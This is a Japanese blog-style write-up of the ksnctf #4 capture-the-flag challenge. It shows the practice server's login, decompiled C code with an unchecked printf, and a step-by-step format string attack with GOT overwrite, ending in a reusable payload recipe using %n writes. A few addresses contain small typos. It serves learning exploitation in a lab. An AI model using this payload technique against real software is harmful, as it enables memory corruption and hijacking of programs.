ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8
  自力でできたところ
とりあえずログインする
[q4@eceec62b961b ~]$ pwd
/home/q4
[q4@eceec62b961b ~]$ ll
total 32
dr-xr-xr-x 1 root root 4096 Feb 27  2021 ./
drwxr-xr-x 1 root root 4096 Feb 27  2021 ../
-rw-r--r-- 1 root root   18 Jul 21  2020 .bash_logout
-rw-r--r-- 1 root root  141 Jul 21  2020 .bash_profile
-rw-r--r-- 1 root root  456 Feb 27  2021 .bashrc
-r--r----- 1 root q4a    22 Feb 26  2021 flag.txt
-r-xr-sr-x 1 root q4a  5857 Feb 26  2021 q4*
flagファイルと実行ファイル以外怪しいものはなかった
実行してみた
[q4@eceec62b961b ~]$ ./q4
What's your name?
aaa
Hi, aaa
Do you want the flag?
bbb
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.実行してみたがよくわからないのでデコンパイル
% scp -P 10004 q4@ctfq.u1tramarine.blue:/home/q4/q4 .undefined4 main(void)
{
  char *pcVar1;
  int iVar2;
  char local_418 [1024];
  int local_18;
  FILE *local_14;
  
  puts("What\'s your name?");
  fgets(local_418,0x400,stdin);
  printf("Hi, ");
  printf(local_418);
  putchar(10);
  local_18 = 1;
  while( true ) {
    if (local_18 == 0) {
      local_14 = fopen("flag.txt","r");
      fgets(local_418,0x400,local_14);
      printf(local_418);
      return 0;
    }
    puts("Do you want the flag?");
    pcVar1 = fgets(local_418,0x400,stdin);
    if (pcVar1 == (char *)0x0) break;
    iVar2 = strcmp(local_418,"no\n");
    if (iVar2 == 0) {
      puts("I see. Good bye.");
      return 0;
    }
  }
  return 0;
}ここからwrite upをみました
ksnctf #4 Villager A 初めての書式文字列攻撃。
LinuxやMac,競技プログラミング,CTFなどに関するブログ。
これだけでは理解が追いつかなかった
まだ理解できた動画(書式文字列攻撃)
自分なりに理解した内容のまとめ
format string attack(書式文字列攻撃)
自由な値を自由なアドレスに書き込むことができる
GOT (Global Offset Table) overwrite
関数を呼び出すときに参照するアドレステーブルを書き換える手法(多分こんな感じ)
今回は format string attack + GOT (Global Offset Table) overwriteという手法
FSAを利用し、GOTのアドレス値を上書きすることにより、プログラムのコードをジャンプする
undefined4 main(void)
{
〜〜〜略〜〜〜
  printf(local_418); //次行のputcharのアドレスを、fopenのアドレスに上書きをする
  putchar(10); //ここは実行されず
  local_18 = 1;
  while( true ) {
    if (local_18 == 0) {
      local_14 = fopen("flag.txt","r"); //ここにジャンプする
      fgets(local_418,0x400,local_14);
      printf(local_418);
      return 0;
    }
〜〜〜略〜〜〜
}putchar関数を指すアドレス: 0x080499e0

ジャンプ先(にしたい)アドレス:0x08048691

printfについてまとめる
[q4@eceec62b961b ~]$ echo -e "AAAA,%p,%p,%p,%p,%p,%p,%p,%p" | ./q4
What's your name?
Hi, AAAA,0x400,0xf7c41580,0xffe323f8,0x6,(nil),0x41414141,0x2c70252c,0x252c7025printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p")
↓と同義になっている
printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p",【0x400】, 【0xf7c41580】,【0xffe323f8】, 【0x6】, 【(nil)】, 【0x80499e0】, 【0x2c70252c】, 【0x252c7025】)
printf("\xe0\x99\x04\x08,%6$p",【0x80499e0】)
- printf(“ABCD%6$n“, 0x01, 0x02, 0x03, 0x04, 0x05, 0x000006 ) の場合、アドレス0x000006番地に、ABCDのバイト数→0x4を書き込むことができる
 - 今回の問題では、
 - printf(“ABCD%6$n“) とした場合、今回は6つ目にABCD=(リトルエンディアンで?)0x44434241が書き込まれ、アドレス0x44434241番地に、ABCDのバイト数→0x4を書き込まれる
 - printf(“\xe0\x99\x04\x08%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x00\x04\x08のバイト数→0x4を書き込まれる
 - 今回は、0x080499e0番地に、fopenの行のアドレス=0x0804869=(10進数)134514321を書き込みたい。
- 134514321を書き込みたいので、%6$nの前に134514321文字(バイト)を出力する必要がある
 - 今回冒頭に4バイト(アドレス)記述しているため、-4した134514317バイトを、4バイトアドレスの後に出力したい。
 
 - printf(“\xe0\x99\x04\x08%134514317x%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x99\x04\x08%134514317x のバイト数→(10進数)134514321=0x08048691を書き込まれる
- なので出力は 0x080499e0【莫大な桁で1番目の0x400】になり、0x080499e0番地に、0x08048691が書き込まれる
 
 
自分なりに理解した内容のまとめ
書式文字列攻撃をする場合のまとめ
- まず AAAA%p,%p・・・%pを入力し、0x41414141が何番目に出現するか確認する
 - 書き込みたいアドレス番地を特定 例:0xaabbccdd ※環境によっては後ほどリトルエンディアンで記述
 - 書き込みたい値を決定し、値から4を引いた値を、10進数にする
 - echo -e “\xdd\xcc\xbb\xaa%{10進数}x%何番目$n” をパイプで入力する
 
多分こんな感じ(ここまで理解するのに10時間ぐらいかけました…
  
  
  
  
コメント